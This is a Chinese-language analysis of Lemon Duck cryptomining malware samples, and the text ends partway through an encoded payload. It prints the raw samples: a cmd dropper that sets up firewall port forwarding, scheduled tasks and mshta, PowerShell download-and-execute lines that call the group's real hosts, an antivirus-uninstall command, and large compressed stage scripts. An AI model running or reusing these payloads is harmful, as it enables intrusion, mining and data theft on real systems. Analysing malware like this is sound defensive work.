柠檬鸭组织样本分析
起因
分析
1.txt
文本内容如下
cmd /c echo RmMrcM >> c:\windows\temp\msInstall.exe&echo copy /y c:\windows\temp\msInstall.exe c:\windows\kNnk.exe>c:/windows/temp/p.bat&echo "*" >c:\windows\temp\eb.txt&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65529 DNSS3 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAHAAJwApAA==^&schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn BIzdRfgY /tr "c:\windows\kNnk.exe" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.zz3r0.com/page.html?pBS_S-AUDIT"^&schtasks /run /TN Autocheck^&schtasks /delete /TN BIzdRfgY /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN BIzdRfgY /tr "c:\windows\kNnk.exe"^&schtasks /run /TN BIzdRfgY^&schtasks /delete /TN Autoload /f^&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autoload /tr "c:\windows\temp\installed.exe"^&schtasks /run /TN Autoload^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f %%i in ('tasklist ^^^| find /c /i "cmd.exe"'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo del c:\windows\temp\p.bat>>c:/windows/temp/p.bat&echo c:\windows\temp\installed.exe>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat&cmd /c c:\windows\temp\installed.exe |
简单格式化下
cmd /c echo RmMrcM >> c:\windows\temp\msInstall.exe& |
批处理功能
- 设置防火墙规则,转发65532、65531、65529的请求到1.1.1.1
- 创建计划任务定时启动
- 写入批处理检测
cmd.exe
进程 - 如果
cmd.exe
进程数量大于10则重启机器
powershell命令 下载执行PS脚本
powershell解码后如下
IEX(New-ObjectNet.WebClient).DownloadString('http://t.amynx.com/gim.jsp') |
gim.jsp
下载下来是一个Poweshell
文件
gim.jsp 第一阶段攻击脚本
gim.jsp
I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f227eb7bd7999a69fa51fddf9f8ddc79f7c7fffdef7f2c597df7efdf277fbe4fbbb7bdfcbbff872fe7af5bba55bbf30fd993b9fdefbfeabecdb27df1b7dfce264fe719a9e9e64e52a7fb59da60fed375f9db7fe37773efe8d93df38f9f8938fefa477f64da33b0f7777e5d74f761ee017fa9e7e7ff8f0fbafe8377cbe45009eaf72faebd53660ebc7a33bf7ed9b0fe9b307fafb03f3e9564a9fe6e8fcf4d5743bdddfdb75ef12663ff1d36fe85f81fd6adb0e873efbceec84feb56fd23be91ea193d12fdae2cdab87f46f6a5e4ed34f1feaeb77f6a895c5ebc0feb6b783cf0d62a9057e87e03cbb9b664dfb2a5db677d3bccdcb7c76376dde36593b9f36a0187dbfeb35a0373e017e9d76049f9bee69536d160789ff7e09fec9a775f5ecf7f83d7e8f74370585d765f693dbe9d3575f7ef72926ef938f0122cd57d76fb6d36555344d5eaf16d5495e4eb2a6789a5e3d9b36d4a8ced1345f6475f6924853e79775fe7a992d96d973fab3c9a7053ea05fdbfc7559d5edb23a6997795daf4fe8b32f4edfbcfe7df0e5a32f9eff5edf2688e9bccd5e6ea7d76d9dafaafae5226fcfb6e9c5941e60fc765a9593cf0819f439cdd2fbf7763f6beb6a556653faa02ad3157ee2cbcfca6a5ab555bd4a97c56775314bafe8c3674a17bc4caf5e2ff319f5f91921bffc8a3e932fd3bc5cd7e96c96a565995de575716e7fb9a40fe74d9b2ffbf80099fd7d834c556a4f84501c9b67d3fbfbf4c5fef512d42334f405c14671a0af3a6868ab3836f7ee73ffed345f2eab69ba3be6ff3ec3c4d170e463d34dfa70effefd4fb9fd326f9ba24cf72fab76ff92077efd8e50a5afb4f1ca0c269f66e7fa3b4dfbb248f377f9384061f6fac5d3d7021b1248a34f2f96c59226133d8554752f4feff21f18ee622aa0b41be25488606afe411ff7d3559e970d64b3adb3b649f561bebef34b30d18e7f9f4d0964b1a0bfae48b40186d401cdfbac98a757db844c3e172ebe22f4a677991d5a924fbc91bfc997c5f3193133b1fd217d0524091cf1ebde3d62cde6ba018b5f55b3657105269ee275703064a45d53fbd34348d602eae3453e8776f9e4ea19d86faa8cf7e217ff9e694302b1585fd4c7dbe00b70d3aaa8a7cd640df0ad9985aa867ce46602b35583d75943d52c81eb4664ebf2d4a22da4e0b74fd2a6c9ca936d9ac425116d79562cbe0bd1dafaacced18edf3ebc4313f53a054f82a7e55dd0f9b8aeeafa743bfd252043f3e59a47fffaf77ffda5e38797bfbffe9ab5d9d3196b85365b908639c7777bf796c577e9c5f4f8f519a1a04d8109b55b9eb5f9459d4127ebb4a5a7af4ebffddd7467e7d37be98bb36fbf39fb6eca235b0a3a3ca2c2a8b96c5a9c17b3ea0b33b2dffff74fbff8f2d5b3f45be99b93d3e7a7af85e29f5dd7f9fa2780fff39ff82e53ff225b5f909ab29fef5d2e0a9a5c854a9407c9f95562fcd56b909b9138c46f7636a7e7fe54023b3b9be03a9d50fad59f539d4c03763b25792a8b672d6b83cb531ac1f06ca161c8358a718f79ecf4032bf46a260b9da327cb45e9c5b2202e7e522b1b556fa49f414444e4582c217777686a57cd4f8fb38c7e19993fe8e716f5411e403dbe73e7fe16a982ba056af4de784de41b2942d470efab4eeb11aca6bc42bfe02d79859aed066d9bd50253f1190b3aa4dc28848f455f2c33108238ec33376f167941df687ffef18bef34e88854758a9f5bf36996d7956174f38a080aa4242a1bda9a4504fcaf42312c11425d91038ffb81642000d423f81dfcb489e5e9fb673196a7cf235c6f948ae3cd2ecbd347a4b8276f89e613fa9dc0f8da4bdfef2a31c36ec28ef48e016ffa8b49c026f637c4ffc57776dba29aa9466fabe5f6d679a10ee62ff9c5f32991883d1c99108b38fdeeec3ce30f41e08ecfb753fa76a9887555705563a22cb2da6a006732b43f3df9f2ec0b60fcf967065146fbba6e3dff0bc8fe985a34a3fa183d366f64dbc0b646427eecc7f41550172c4c889df32f1803bcc3e5ba768e9e34df1553c93018f2365b4cf9f297c80fede097fc987eaae4fb31f3f78fd18be68fb25c2fb7db7545fef31dfcfe1dbc2c5a860466b4938ef853fcaebf607e46fbe9e80ee49ffeb02ac00a7357f09dc62215e0544620fcf46d4ffe474487a75f9cfcfeaf5fd22ff6cb72f17b8f4112c6097367fedaa29f50724d7191bf1ad7f9acaccebf038febe4c7f8c1707fec17dfb9a350e90b010c5db42c32f263d176dce5feb13883e8e0bcb08030f1f6f7f44e633c58695e18b62bcef3a7165b523f0c4bbf6390a9ea2203ea0e0121755378efe0577d459497795fde6365ad1fed6e815bde1097daf19f7ce681d3d63071c468fa12331e08c1af3cc3cb9775d33678d74209b8cff0dcc750c7fc8f729e9db0884fc60e194b2771364536835cbff3695a2deea6a76fbe7a71f605b86ddadc5583081e82fb85b14f7dd1d079c89b324f7fd6706144c44b4c2199b943c3494d80d09d0c5464be51bb45e68022f2a59b8c5ff24be853f5810081851aa64d10f9c518d22fb9236f6e7d42d2621dd4efaafe3daf5e57b543605a7c41adf03a5eb718fce23b7be92fcaad6771ef772ff0397a53e47e89f4615fdce5e6d4ce91de1fcb2f69be5450105dee917ed17777ccbbfe1b7744dee95f7d91befaf25d3e5b9e3d7af4fdebacaeb3ef1169f08aa15ed46aab0ed3297626ec63d84733a1f663f00f4fe4de2ecda476ec4da8fdc49b4c4fdd5a96ea74476027e249f67ae4ee14acf4ba917f00e32e3c974ec78e75e44f353abe69f4ed22f40623e4318267debd4fb78c86801a08259f5af8c2df16f441cfd4ddd992b8f3441a52136ee0cc30d2109c221853cc3bcbe7d3d76a4029e632b674fb2a7f41936dbaf2a243f89d0b68e2e9f8ddf27a918de14a8ef8c3e9f882b2113f709fe84b95d188e39dfade0fe4fbaddff333e61ea6d39d3b9ffeeeac58496cb25730e25b9f7cba45eed71a18b94f7fe2a7a9d19b3b7b7bbbe3f183879fec3c1c8f15f2fd4f3f79707f3c3ed8dffafef7bf5767f3e9f7b69645f5d3a458ea759bd7bfd828e02d1571d2f31098e9727d6e346e5db51919be62592c60948e79c2a6e9f7f3b27a456ea202288bf513116f9e2e560bf4f1770d226526b13b53bb98922d7d39be6e8b7aaddfc38fcb5f7f6f0b509767cd1999df2dcdced00021686d417fcfce6c27df1d134c1fd294deffbefd4c758dd788deb936e86af3adcf3299c6df3821dadfc11cd2ffa8e1b7e437a6d59d3b4ce97a6bf4f4ecabafc677da295acc242944b12799ee35d25126ea64775af8a5a230601b0a7074fac5f18b57a7afbf7a74b9cca14ee4ef375f31b5f8b5975f7c79a2df6efd9eac31e97fbf07fdff136d7049dfe0630e68eecaf79f9435eb98ec50fe6617069fcb8f5df3a78290bfeede7db46adb39ffa15fac3f1340bfe497fc923b13fa69b805aa1134d87a97af2ecfcf7eb136271feacef7f5f7dd07c4753bdf9b7d0744b12f82cdb401bdcdbed3ebfd4ff3267bb2a8ea67349f14a75f526e083d98d8eb0e8973714974851cea67b5fecc5f57edeaba8617b77bfcedd7e3ebf92aab2fe4333bfd42746ac272ba35c248602a10f25c73a0429d8e0d4851538746045632802d32b2ad2411912882f49d8d6b6a7bc8d8696345b236681dbf7ed54789de7558314a9f31a0dd9d773b18f3c79261d8c19ff8ec336270ebf7afde9d8e57680da674d3f7d9ce6ef6edd9f32f7fd1f9aa7ef0ead3dfe72c3fdffde95d827439fd89af56cff7eefea09cfcf4eae4f9d39f9edc3ff862e7e4feef53ae7fd177df2e4fbeca5f3c9fef9fe7bfa8d87ff58377cb7bd3e3d73f7530bd7afb6aa7deb9470ee3f3c9faf9ea60f7e079317dfadd9d57bfcfdd370b2491eb7bbfd78345f9eddfe76c5ab43f78f30333febd172fee7d71f5f0ec634d650a1bbffce9fdb7f577cff1dea73fd97e7bb27eb15cbc7971efeee5c1e50574c762f57bd3bf4f763fbfa41fbff7fac16ef5ddc51eb3214865b984b9c412da328bf9847986b42429e9ea8bb18d57ce3dc7f0d04d22cd8c7ebc8967303bdaecc5674cf6ef4fe9dff1f8de83ddefc1927c3611f6f8c577e893b4bdd84ea7e2a38385a090a7636e36956687f42ffb0d5ba42b39e2ceaa7279553da53f49832cf3a224793a99e4df1db7645108077a813e0126f4db15fd4a0cfc1940fe628193890f4e8a195ca09106eb68fa7b36fbe28b6b7a7e7ffa3d95c89ed37164a99f8ad9a07ea13fe8c3df0331f5a5becc0e311b7343dd25b912f9bb6a72d12c38cfbe5a376ce609e7b2682856bf64b713d452b2532a726767874291257cbcbcceaecaec8b6dd2d6c79c766faf27fa19fdb9fb4b3103f54bce083d7cc4fe2ab91194300136f9252216247421ab40855c819621e3b72967fabf5cffee76ee9648e6bef8dd31eafc6d511af705896b40ceeb7c7e45c42546a1843772a6c8cba493bba9a46b633d53b7d4b9f64cbf312a9dfe9b755dfc2406e87aee74492fbd6faf66b0d21f662f36e4a11e3143efdfa3d20b6ea14768fd943bc740d0ffea32eb75edaf541012e05b436c05f13eb8b8a9f6c7dd3666a5c1438059fbc3e638d29f19eaef7efd5612f110c906a98fdfeb7747d7764c3d0ce8af9b90c00bd00c40e563449e061b16ad028e63809399199f1479733ac870a66b7d2f4a06ea6331a52fb7b6d2ad14668ffeb73cabbeb32d13f90eef7effde68f77b77b63e7f51bc2273f3667c3a7d91bf3a7d76fa6a9537d5a43efd495a674db7c61f6f6d7d941ea6bf702bfddd4e5ffce4a3932fbf685e9e4ebfb73fdabd3fdabbfffdedef5467cb8f698595ba4a3f3f7db3fd93d9abb3ec49799aee7d9b9676b72f8fcbaf4ebf5cdef9de36ad0d8db76f6a367e7efae2f337f3f44eca905f7cfc31fdfa1b27ff0f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd(); |
解密后内容如下(参考链接:5分钟解码powershell payload)
$2hl = ")'x'+]43[emOHSP$+]12[eMOhSp$ (& |)63]RaHC[,'NCh' ECalpeR- 93]RaHC[,'Uft' ECalpeR- )' |
对字符串翻转、美化后
; "(('.( hCNVErbosepREFEReNcE.TOstRiNG()[1,3]+tfUxtf'+'U-JoIntfUtfU) ( ((tfUcm'+'d /c start /b wmic.extfU+tfUe product where cFwname like uOs%Eset%uOscFw calltfU+tfU uninstall /n'+'oint'+'eractive |
继续处理混淆后如下
cmd /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive |
脚本主要功能
- 尝试卸载杀软(eset、卡巴斯基、avast、诺顿等)
- 依次尝试从
t.zz3r0.com
、t.zer9g.com
、t.amynx.com
下载a.jsp
后重命名为aa.jsp
- 检测权限是否为
administrator
,如果是则创建计划任务blackball
- 设置SMB为启用
- 防火墙添加转发、阻断规则
- 下载时判断返回长度是否大于等于173,如果大于则解密前173个字符并用来做SHA1校验,如校验成功则执行下一阶段脚本
a.jsp 第二阶段攻击脚本
a.jsp为第二阶段攻击脚本
脚本在下载攻击文件时会携带UALemon-Duck-
oM/axl7kOfLq0gbJx+jFEsor6+Z66LcorosvJGnVxNCU34epX0b7EbBhZPTvwFOaF7grX+nwaPyA/6VCNiCkpsWL1J3yWm68X8f8KGhc+gPwGvgjJk8Y+twUiQGYsIT6Y7w9xpVVZspbOsF+tIWXiXtf+0pEdrsCOVnqU83dTtE= |
解密得到如下
sET-VarIaBlE ('Q2G'+'4h') ( ")''Nioj-'X'+]3,1[)ecNerEFerPESOBreV$]gNIRTS[( ( &| )63]rAHc[]gNiRTs[,)65]rAHc[+58]rAHc[+05]rAHc[((EcaLper.)93]rAHc[]gNiRTs[,)311]rAHc[+97]rAHc[+211]rAHc[((EcaLper.)'|',)021]rAHc[+121]rAHc[+311]rAHc[((EcaLper.)' |
翻转+去混淆如下
if([IntPtr]::Size -eq 8){$is64=$true} |
脚本主要功能
- 尝试设置DNS为
8.8.8.8
和9.9.9.9
- 下载文件 均为
powershell
脚本- 如果不存在
%temp%\kk4kk.log
则下载http://d.ackng.com/ode.bin
- 如果存在
Outlook
且不存在%temp%\godmali4.txt
则下载http://d.ackng.com/if_mail.bin
(邮件攻击模块) - 下载
http://d.ackng.com/if.bin
- 下载
http://d.ackng.com/kr.bin
- 如果系统为64位则下载
http://d.ackng.com/m6g.bin
- 如果系统为64位且存在显卡则下载
http://d.ackng.com/m6g.bin
- 下载执行
http://t.amynx.com/report.jsp
- 如果存在显卡(N卡)并且系统为64位则下载
nvd.zip
- 如果不存在
- 回传以下信息到
http://t.amynx.com
,格式为- 操作系统
- 系统位数(是否为64)
- 当前用户
- 域信息
- 磁盘格式信息
- 显卡信息
- 内存容量(格式化为G)
- 是否为管理权限
- 3个下载的文件MD5值
- 通过矿工程序提供的接口
hxxp://127.0.0.1:43669/1/summary
获取当前机器的总算力数据 - 机器启动时间
- 每次下载时判断返回长度是否大于等于173,如果大于则解密前173个字符并做SHA1校验,如校验成功则执行下一阶段脚本
report.js 结束进程脚本
I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f227eb76f9f4ebefb53e96769fa519ade49efecefed7ebf3efef6c9f7461fffa287eb8fd3fce4b85ce5f576faf09ef9fc8b67edc7e9e9f4b87c79faea643b4d3fb5df4c5e2e3e765fdcf9f8374e7ee3e40e357ff7c5c79f7cfc8cfedf7ef27dfa77e71efdf3bd53fa6741fffff2dbcd8a7e4ce8ff2ff13737d9ff1efd73fac597f4efb75fd33fab097f97d2ffb7d2710ad43ef9f8ce3efd43f8d2bf754608d0cf11f5f6e4bbbf887ea35fd234a75f4e8e9fd300a6842886907d1b1f7d0fede897f2e1f32f182fc0c658b929fdb14dffa77119c868feecf57700162369a929fda4d6f42f60df1128bf44befd447ecce4078624f8d0bf45d3e4d30a6057e3df1f5fbffe02edf9bbefa4fa06fe2eb631d6c612ce412100b6997e2300b757f8d936bfd8a20940f3690624d1022dcf0508be213afd922f2cb6e5170e55d3e943e9413b7a4eff7c6b7fb293fb4d3eb1bf4db2878026f0f72d60feead37def05ee67f290fe39c704665fd8a13cfcd435f33b41d38307bb963cfc23c3cb073bf4cf7dc0dac19fe7dfa27f4a462100d23e7cce1f2a7a0a33f586fcaccddf16a521e672dbfb5a7ee4cbc242d3379ecf96d922201178b4026b8c7fff67605b704c3a0340c70bf462b69d96dea89f7f6b594cc6989eb7df12e44d0ff4efc3e76084fc2dfd53e877962ea5a0f9b1a3cac732b2dc60653e5be275c6776146c56f55f4afe0ebf0f1185dc12936406406485980050d0613f03c7f67bb7dd68e3110331850977e9d37f44f1d52f58afea92046248ae92fca7940b92180e96191bd1069a1ffbffece2fc68b53e6c23eabfc34fd33f9723baff339fdf6dd27f8e717b1d0d58ac94bfae8f7dfbb877104c328becb126751c6670d64a704819c40318af8729a4b671fcbcc2cbebb1da119feca3fb7b3bfb545ff4bb7ee7cfcf18ba2facef6f7efef8df6e97fdf9be6abe68b2fa78f2e97f9ef966ea5bf10eaf830254db7b575795c9f654fca3cfdf85b8b59fdad8fef8c5f648bfc7bf746bbbba3bdef6f7fa73a7bf1f1c777e8a5efbd7e5317cbcfbfffe8d177be3c5b6e7dfc713adafafc2c4d7f92001c4f9e9f3e12559fde195f66cfbfcabf976eefa6e371ba4df86c68362ef3e5e76fbe7d27fd3e5987f4374efe1f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd(); |
解密去混淆后如下
& ( $env:cOMspec[4,24,25]-JoiN'')((('(('Get-WmiObject -Class Win32_Process|Where-Object{JSF_.Name -eq powershell.exe -and '+$_.CommandLine -like *kr.bin* -and JSF_.CommandLine -notlike *f4095084ad178f69a4f9b46b49abe0b4*}|foreach{stop-process -id JSF_.processid}')-crepLACe $',[CHar]36 -crepLACe '',[CHar]39 -crepLACe '|',[CHar]124)| . ( $pSHOME[4]+mPbpsHOmE[30]+'x')') -CREPlAcE'$',$ -CREPlAcE ''',' -replACe '|',|) ) |
该脚本干的事只有检测当前powershell
进程中是否含有kr.bin
进程字样并且值为f4095084ad178f69a4f9b46b49abe0b4
,有则结束进程
if_mail.bin 垃圾邮件攻击模块
$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f225e5fa65b1f7df9d1271f7d7b39fbe84eba95a61fa577ee7cfaf0fbafb2f9f47ba33b0f3f95df3ed97da0bf3cdcd995dfb6f269f6fc65feea647b7f4f3f1a7dfced57dff9384ded3769fae93d03ead35d6de5407cf2503bda4a4f4fb2f2655e6fa70fed0b0f4c97f7ed9b7bfa91d73ebdf3f16f9cfcc60961fd45f3edd3cf17f42fa1cd6f7cfbe47b9f1c7caabff000e897adadd3e931b01bdf61dce8a3ef7fbe2c5eb5cdf746f4eed3f3effc34fd708df6bb8dee7c6a401ed85e760ff4973df3cbc1c35e770496c8c3f87d6a9a19ac1c9e9f5aa07bf77b201e46305ede7ff6e60701ca7bdab743f981edc674bcafc03ff974c7f477dffc16e20ceaca7ff9b4aeceb7d3bc2cced37c75dd6ea7edbb76bc5f94d962565d7cf17b7ffad3c56ad13eba5ce6a062bac8db62fb2a5fe2d55fc2efcfaae9ef5f16d982bf7e777af5f4f3b31fc317bf386fca9c9b3cb9fc895793f178dc16eff274b6ccd27c593de50fb9e19dad769a2f97d5c9f8ce1dfef441f18bd6f9f5b7bfcd9de7ab62c5bf8cf95ffe875b6d2db2bc6e5fb7cbbc284fa8d5cb59bec85e8c1bfc3afef26c4c9836d7af5382fdd3930a286f696f7953ad9ae2e9189081f4a1fbe8aa910f82416de5cbe2390dbbfeaefb5e5fddaaf973c124dae967e6153b48d7edcfd660d1efc79f7cfc99e949c67d676b51d46fc6b3c5b46972466a6bb63899e6ef4e67cbe3665915f4f1ebc57a79fae8d1f7f9cf65debe3ba50fa755fd72dc9445fbd5f71812f3e69d2d6aa243aaab676d917d97a68fbfe27f6e9c43d75427b2ce2febfcf5ad26f2f00e8d824720fce6cd6064526b3303b3e569f566969108c8479f2994603ef1fda6f9b4d0fae3777dff70e86027389d6ea76599cf9b3abfaa560cec336f9e451c55b8eaaacdeab62996c56276cc9fa4dfcfcbead5f2ac2d8bf593e6aa9a2d8bef8ecb6c554c9705cdfc3571f87a9abf26dbc0cd9a339ae82d12bbba5e9fb4f9e7c42ed484fe9e9d6d78f9fbf6b34d3d6c9d17ccab65bdfefd97d40ed88f18c9e7afbefafd5f7cf74b511bb052e52aafc7dc30afab69d8f0f4d5972761c3df93896295167f69b5103e59153ff8fddb36733a2ebfac16798daf9a9f1efa665acd86bee26eeea5f90f8a06aaf5f7f7e1d3b42e830fa06966cbbcf9fdcb7cc69375ffebbeb88f17bfce8b77ee7f72ff77bfb3a0a9c9eaed36bfd8da4a57795e36fca551e0d3e9ba21fecbdaa5503cad5a86444a3d7f2dbcd436d57c1b4af14ab52dbe1a1b551a40e3372f96857d59dee05f09d771be2059acf9cfd12efde7e1bf359b1d8f1be2b9c59cb0698fc30e04044d4e0f8437619b415ccfaa89b36a9fa5f4f793b085c8e1baf15bf147a479d79d11dff16866fb2d88fd491599869f81813cf0e99d9d2dfae82c6f690427e3b2e24601d85f7ca7f1276359f873b345c322c938b7ccf84bf89d45559ffffe97d3bc66709ff8007e4c81064dd26659708bb65a6ea77e7392558345f806e1117c308049d5fefe448566180fafc1adb0f0dbc3fe15a9f7898f04f93f9fd0ff3ffd1ab282d7bfbffbbdefbfcb4987fdfe242b68f1bda6acaa956584cf02e6e137766e78a3cb4b7869de5e2cf3721cb60c44f4b300a630da725d4dc7e1847cc2fcffd9bde92fe45f3ed1361e71b4c55ea78547666db13bfd8575deac05e9f52f04569fc169fc3d9655f3d3e3b6ae48d7de0d55350938999b59569550e8e33becaf4d27f9d5b8cd97ce98bdd802fe76d4777c616ff2f67a5296196499ac0d666c5c15dffb2c367d80e14fdeaaf8a96d92b89ffcfc69bbef29f2bae0a9143bd09970e7627ee279be9f753a89a9a9cfbaa0644c6487ebd92c5bb58b667c6717525d4003108da7d9581cafc608b8252f4fe79d4fe19194e45f94ebec3c7f4ae6565f78ad2f6cb9b9fefd8927e4adfb37bfa5b3efded9d9bdf9256508f3123ca06c5a94ab55367e5b5565bbae48f22940a45925b7eca7275f6e5fd1cffcc56702c02980941efcb2b3733f6d6604326f8ab22c16db6274b6db3a6b5fa7dec338c21d2acbf5b331269d31caebfcdbd72b38d517d9db69f69248cfd3db7933fdc5f6b73bed7ab52c444714a905a4da4155afeb6f89160a15cec4ea35fb646ee4c7ec7731bccfd23e165d32716b22d29489a47e1cbd1905a8ef335296641488376576ae3d5e97cb2fe1b1c229b3e86af7c4e35b01fdee1ceca6df4a9953efec7cbfe6981b2d4550d34fd24fe543faedbefd8dbffcbd5e6a9b6e1fc443e00852478ddf95a5f79d3b3d2acedb6cb5dd924c6fa5d0e6a4c04de33ec9bf2fdae37be41ad7d9ca42172167c166ca4d97ebae75f9253f667ef0cfb734bd931fd33f8c0322326efa7c36664740548ee8bb47f2493a6f8b2b7174f2362f73d16cbeaba38029e6e0efe1aa338f992f7eb1908149f68bf26d43c6a04b5832d3daf74b0c2cf0abd7dc70ac74cc2d54b3f0bf248bbfbf481d71894347c06f6ff39f8724f53b7bdbac895a0690b617dba9c042a0be4d4e88f7d1a16bf9997c6244c6989db0e7cf5c7bc1f2222b45dc6ed0349f39188ab17973049d2fbf283db77cf36cb881ac7f9721eec02a5b628ed4e2da0fb646e4845853fba8cc265579812f7edc3292cf4ff9bacc2ec762073f31cad47bcb4dbcd7b2e3c5f4df722cf063c431d51b875d93cfa76db618bfcb2f3c2fabcf0870c672300153f8dcb0001a1b50beaa63469eb0c1fb25fba3bd5ffcfd9fda3efe9e04a79f7c7f7bfc707b071ffc9ef4fb27bffbef6ffe94f6778adf638b5fff3ee3f43d62338b9c92caa3db1dc147c612582cc7f3ae09f0f55ee88c7097f42ca94f6139af997a82fa5187049f792dc30eb54160126fd02a62d08fc129a70404118e212f71831d5ec80fdae9f0ab1df688816106890b7c67c6370bfdfd6f5ae83bc4ee087e9fd6010bdc8edabb4c339fd0ea8e6c2073e79d781811a3ef7bcad130af7b2ed30f8dd36fe4740fa980f62ccfb3d9f6175f6c5fd3a3662e5b50828b6c16191eb2f39f7f46bfcc7e7f4afe7060c003e67fb8755ba4cb7c559174de7fa6611665b7b2695aa4a359beccdf56f5246dc4f192b09cfffd3d08c1ba4aeb75758d6f9b62fe461c0e401e59d070b419b4c21c49d67adea6efe867d592da27d39aaec8834a018a1a799d706341a1077c3e5d532e83a697fccfb7e928bf9ea4b38ad2df32040f08257cc9c423db7695d7d9f96d01f968f81ff9affe1e40995d8d8b65555f11b362a044fff9d5ef8a8762bd8590e89c084cbe367e25243cd86fd753a107bdf4dd5e071ba1c47b47e71efc676ffa50d919ceeb6953cc38b9cf0c954917241f7011176b4abca4b35cdda93c6ff0fe38afd7edfa3cad33728191bc68e99f665d1575764903406ae8b2a86b6a3f217a1362c421b35c3eba2e092ca98f34bfcce6699951fc59e7ab747951a04b0a0be657d4a6cc28c5b26af27459e75362780c99e22b621d62b2d75fbd3afbc9f4f8c597942cc417ec228220443f6fc87eb347bfcfab2f5f9ffde4d3e3f4db6f9e1f7ffb9b23c5c3dded5971599d702b8e0516d53948b2cc10542f8af49ad2c21e565f7efbbb29b79021be4ee9e5654a609e9efde4979afbf410a3d0a2ce17c7182639de88ad66a4c6965f71a2863ea28084c9b506bacdba2e7ed2ebcb40c5dbf3765dbf210a79e2b9f57b7e16759c58299044e2fb982de3eff165df0fb25ff53534be92b4a2c9e5dfb9737676f2fa981203c82556d3e5e9b87d97bff95e3abac366604583cb9f226f30abbe103f139f9da8cf29bf7f79c6ed7505e3e9c1f9f5e73f78b9bc6cbfd8fde4c1ddbd9fbabfb8fbeabb6f57f5ab373ff8c9fde9bd83eae0f9273bedfa275ffee0e0fe5efb60ef7af99dbd5f74ffcd4fcd1f7c727577e7d3e7f5cbe5ddbb0feedfcb761f7c77d9bc3b78f0e50f660f7ff0e0fe64ef07e7f7bffabd0f5e7eb2aa7fe2cdc37bf5e4e4f2a7db4f96cddd073fd82daac9bdf3bb3ff8e2f779fbe0f5cbecfeef7df9d32ff73e3d7851fed44ffee0a77fd1dde7d7dfbdffa6fe74b278d8fc5e07e77bd307eb375f7e72f0e0dbe7cfbeca8bddd5dbe7b34fdfd50f1fbcbd3b9b7cfee979f68387fbef7efac10fee365f3ddc7df0c9e43bbf68b15efde0177db7f9452fefefffdecbf6db0f7f7aefa79feedf7bf972f6d5e7f5ec273f6967cbe9e5fdbb97bfcf0ff2fdc5e70f5efcc4dddd1f2cbf7cf09d1f3ca85f9edfffe4a7eb97e5ec61fdba3ea89bf5b77fe2e1570fca87bb931f7c79f9e9fe83d76f67bfe8e1e5cbdfa7fcc1e57571f9b27db05f93c978f183fc41bed7bc7c70fd7b7ff7eec1a7cf7f9f17f71fbc3cbfbe7bffe10fde2ddffdd4fae0934ff6df5c9f3fbcf76ef98b3eb97ff27bbfbc3ffbe4f2f2f79e962fefdf6dda8387f9c3bbbff7dd83ebb7f7effedeedf54f4e7fd1fde5d3df67bfbefc89870fd7f7967767f77697cbbdb7f9ddcb072f1eec9c669fccdafcf88b4f7feadbe7bfe8f9ef75f7a71e7c7bffeac1b75fddbdbbfb74b95c3fbc7ef2f0c10fdeac3ff98907efdefcdecd7472ff0b8a68efffe4dddffb27f2dd8bcb4feeff5e0f3f5d7ef1e060f7c5f2f8fe270f3e7970fec957bb0f660f8be6e5f9831fd4cfcf3f39f8a9ddfc61fbf0b2b93b9f7cf2257db7b7ae3f79b1be9c7cf27b5f4e279ffee4f9f9fae1c14f9f177bcfbf7bffed4f5f5efe6072f6f0d34f1ede2dde2e2e0f0e28d175f7e12fba7c7d75f9f4e1779adffb72377b4844c